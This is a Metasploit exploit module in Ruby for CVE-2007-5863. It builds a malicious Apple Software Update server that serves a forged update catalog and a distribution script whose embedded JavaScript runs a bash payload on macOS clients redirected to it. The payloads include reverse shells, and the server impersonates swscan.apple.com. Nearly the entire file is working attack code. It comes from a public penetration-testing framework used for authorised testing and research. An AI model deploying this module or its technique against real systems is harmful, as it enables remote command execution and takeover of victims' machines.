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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpServer::HTML
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Apple OS X Software Update Command Execution',
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      'Description'    => %q{
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          This module exploits a feature in the Distribution Packages,
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        which are used in the Apple Software Update mechanism. This feature
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        allows for arbitrary command execution through JavaScript. This exploit
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        provides the malicious update server. Requests must be redirected to
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        this server by other means for this exploit to work.
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      },
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      'Author'         => [ 'Moritz Jodeit <moritz[at]jodeit.org>' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          ['CVE', '2007-5863'],
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          ['OSVDB', '40722'],
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        ],
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      'Payload'        =>
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        {
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          'BadChars' => "\x00",
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          'DisableNops' => true,
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          'Compat'      =>
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            {
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              'PayloadType' => 'cmd cmd_bash',
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              'RequiredCmd' => 'generic perl ruby bash telnet bash-tcp',
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            }
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        },
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      'Platform'	=> 'osx',
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      'Targets'	=>
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        [
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          [
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            'Automatic',
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            {
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              'Platform' => [ 'unix' ],
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              'Arch'     => ARCH_CMD,
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            },
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          ],
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        ],
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      'DisclosureDate' => '2007-12-17',
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      'DefaultTarget'  => 0))
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    register_options(
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      [
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        OptPort.new('SRVPORT', [ true, "The local port to listen on.", 80 ]),
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        OptString.new('URIPATH', [ true, "The URI to use for this exploit.", "/" ])
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      ])
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  end
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  # Encode some characters using character entity references and escape any
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  # quotation characters, by splitting the string into multiple parts.
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  def encode_payload(payload)
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    encoded = payload.gsub(/[&<>"']/) do |s|
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      case s
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      when '&'
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        "&amp;"
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      when '<'
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        "&lt;"
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      when '>'
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        "&gt;"
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      when '"'
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        '"+\'"\'+"'
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      when '\''
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        "&apos;"
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      end
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    end
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    return '"' + encoded + '"'
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  end
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  # Generate the initial catalog file with references to the
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  # distribution script, which does the actual exploitation.
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  def generate_catalog(server)
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    languages = [ "", "Dutsch", "English", "French", "German", "Italian", "Japanese",
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      "Spanish", "da", "fi", "ko", "no", "pt", "sv", "zh_CN", "zh_TW" ]
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    productkey = rand_text_numeric(3) + "-" + rand_text_numeric(4)
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    distfile = rand_text_alpha(8) + ".dist"
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    sucatalog = '<?xml version="1.0" encoding="UTF-8"?>'
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    sucatalog << '<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">'
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    sucatalog << '<plist version="1.0">'
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    sucatalog << '<dict>'
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    sucatalog << '<key>Products</key><dict>'
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    sucatalog << "<key>#{productkey}</key><dict>"
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    sucatalog << '<key>Distributions</key><dict>'
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    languages.each do |l|
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      sucatalog << "<key>#{l}</key><string>http://#{server}/#{distfile}</string>\n"
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    end
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    sucatalog << '</dict></dict></dict></dict></plist>'
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    return sucatalog
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  end
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  # Generate distribution script, which calls our payload using JavaScript.
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  def generate_dist(payload)
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    func = rand_text_alpha(8)
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    dist = '<?xml version="1.0" encoding="UTF-8"?>'
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    dist << "<installer-gui-script minSpecVersion='1'>"
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    dist << '<options allow-external-scripts = "yes"/>'
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    dist << "<choices-outline ui='SoftwareUpdate'>"
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    dist << "<line choice='su'/>"
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    dist << "</choices-outline>"
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    dist << "<choice id='su' visible ='#{func}()'/>"
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    dist << "<script>"
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    dist << "function #{func}() { system.run('/bin/bash', '-c', #{encode_payload(payload)}); }"
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    dist << "</script>"
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    dist << "</installer-gui-script>"
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    return dist
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  end
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  def on_request_uri(cli, request)
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    date = Time.now
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    server = "swscan.apple.com"
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    header = {
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      'Content-Type' => 'text/plain',
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      'Last-Modified' => date,
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      'Date' => date,
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    }
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    if request.uri =~ /\.sucatalog$/
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      print_status("Sending initial distribution package")
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      body = generate_catalog(server)
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    elsif request.uri =~ /\.dist$/
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      print_status("Sending distribution script")
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      return if ((p = regenerate_payload(cli)) == nil)
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      body = generate_dist(p.encoded)
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    else
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      return
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    end
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    send_response(cli, body, header)
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    handler(cli)
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  end
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end
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